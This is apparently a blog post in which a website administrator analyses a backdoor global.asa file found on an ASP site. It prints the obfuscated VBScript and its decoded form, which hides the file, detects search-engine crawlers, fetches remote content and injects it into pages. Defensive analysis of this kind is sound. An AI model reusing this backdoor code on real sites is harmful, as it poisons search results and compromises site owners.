週末的時候,阿里雲發來了一條短信,說網站上發現了後門文件,因而趕忙登陸阿里雲網站,查看該安全事件的相關信息。php
出現後門文件的網站,在幾個目錄下均存在惡意的global.asa文件,用Beyond Compare對這幾個文件進行比較後發現內容相同,那隻須要分析其中一個文件便可。html
先上網查查global.asa文件是幹什麼用的,在ASP Global.asa 文件這個網頁中有介紹,簡單來講,就是能夠在用戶打開網頁前,執行其中的代碼。數組
而後用文本編輯器打開global.asa這個文件,精簡後的內容以下:安全
<script language="vbscript" runat="server">sub Application_OnStart:end sub:sub Application_OnEnd:end Sub:Execute(JiaMi("79.110.32.69.")):function JiaMi(asp):ExeCuTe(JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")):end Function:Function JMONE(objstr):objstr = Replace(objstr, "`", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr:Else:NewStr = vbCrLf & NewStr:End If:Next:JMONE = NewStr:End Function</script>
開頭的內容爲 <script language="vbscript" runat="server">,說明其中的代碼是用VB這門語言寫的,運行在服務器端。服務器
代碼中有許多冒號,上網查了一下,在VB中,冒號能夠起到和換行符相同的做用。那麼把全部的冒號都替換爲換行符,並添加必要的縮進,格式化後的代碼以下:網絡
<script language="vbscript" runat="server"> sub Application_OnStart end sub sub Application_OnEnd end Sub Execute(JiaMi("79.110.32.69.")) function JiaMi(asp) ExeCuTe( JMONE( "edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim" ) ) end Function Function JMONE(objstr) objstr = Replace(objstr, "`", """") For i = 1 To Len(objstr) If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr Else NewStr = vbCrLf & NewStr End If Next JMONE = NewStr End Function </script>
經過閱讀上面格式化以後的代碼能夠知道,函數Execute調用了函數JiaMi,而函數JiaMi又調用了函數JMONE,這說明關鍵的部分就是函數JMONE。dom
分析函數JMONE,可知其用於實現以下功能:編輯器
函數JMONE分析完了,接下來就分析分析調用這個函數的JiaMi。這個函數一看就是國人寫的,JiaMi就是「加密」嘛,嗯,簡單易懂,不錯不錯。ide
查看JiaMi這個函數的代碼,能夠知道它只作了一件事,就是向JMONE這個函數傳入參數,並執行JMONE這個函數。給JMONE傳入的參數是下面這一長串亂七八糟的字符串,但結合前面對JMONE的分析就能夠知道,這只不過是倒序排列+製表符分隔的代碼而已。下面這一串字符是傳入JMONE的參數:函數
"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
按函數JMONE的邏輯進行還原上面的字符串,添加必要的換行和縮進,就能獲得下面的代碼:
mianasp=split(asp, ""."") for i=0 to UBound(mianasp)-1 hao=mianasp(i) aspcode=aspcode+chr(hao) next JiaMi=aspcode
分析上面的代碼,可知其功能以下:
在前文中,爲了方便閱讀,將JiaMi這個函數中的字符串進行了精簡。實際執行該函數後,獲得的結果又是一大堆字符串,仔細一看,仍是VB代碼,仍是用冒號做爲換行符。因而將其進行換行處理,並添加必要的縮進,最終關鍵部分的代碼以下:
Function DeAsc(Str) Str=Split(Str,"%") For I=1 To Ubound(Str) DeAsc=DeAsc&Chr(Str(I)-18) Next End Function Function Htmll(Url,AChar) Set MSX=Server.CreateObject("MSXML2.ServerXMLHTTP") MSX.Open "GET",Url,False MSX.SetRequestHeader "User-Agent","MSIE" MSX.Send Htmll=MSX.ResponseBody Set MSX=Nothing Set ASM=Server.CreateObject("Adodb.Stream") ASM.Type=1 ASM.Mode=3 ASM.Open ASM.Write Htmll ASM.Position=0 ASM.Type=2 ASM.Charset=AChar Htmll=ASM.ReadText ASM.Close Set ASM=Nothing End Function Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") set f=fso.Getfile("//./" & Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa")) if f.attributes<>39 then f.attributes=39 end if Set fso=Nothing Bot=Request.ServerVariables("HTTP_USER_AGENT") host=Request.ServerVariables("HTTP_HOST") path_info=Request.ServerVariables("PATH_INFO") KBot=Array("baidu","google","sogou","soso","yahoo","bing","bot","spider","so","360","haosou") For B=Lbound(KBot) To Ubound(KBot) If InStr(1,Bot,KBot(B),1)>0 Then KeyData=Htmll(DeAsc("%122%134%134%130%")&host&"&url="&path_info,"GB2312") skyword=split(KeyData,"[0xSpider]") Response.Write(skyword(1)) End if Next
上面的代碼中定義了函數DeAsc和Htmll,並在後面的語句中調用了這兩個函數。下面就來具體分析這些代碼作了哪些事:
將整個過程梳理下來以後,最終能夠知道,這個網站後門是用來篡改搜索引擎爬蟲結果的。總結這個後門文件代碼的特色以下:
雖然上面的代碼嘗試了各類方式將關鍵信息進行混淆,但最關鍵的一點是它沒法改變的,就是它必須調用VB的Execute函數來執行代碼。我的猜想該網站後門之因此會被阿里雲檢測出來,Execute函數是主要的緣由。這時想到以前看過的JavaScript代碼規範中,有一條就是禁止使用eval函數,應當也是出於一樣的考慮吧。
雖然這個後門文件的做用分析清楚了,也把它從服務器上刪除掉了,但這個後門文件到底是如何出如今服務器上的,這一點很關鍵,遺憾的是,並無找到網站漏洞的位置,也就是說沒有搞清楚這個後門文件是從哪裏來的。不過這一套ASP寫的網站如今已經沒什麼訪問量了,恰好藉此機會把它下線,這樣也就不給入侵者機會了,權當是沒有辦法的辦法吧。
話說回來,網絡安全真的是愈來愈重要了,也愈來愈專業了。尤爲是對於防守方而言,即便有百密,但只要有一疏,那就意味着失敗。做爲一名開發者,同時又須要負責服務器及網站的安全,肩上的負擔天然更重一些,可是如此一來,也可以讓本身以不一樣的角度去看待及分析問題,視野也更加開闊了。對於一樣的一件事情,是成爲你的負累,仍是會督促你成長,全看你用什麼樣的心態去看待它,你的世界,就是你所塑造的世界。
全文完。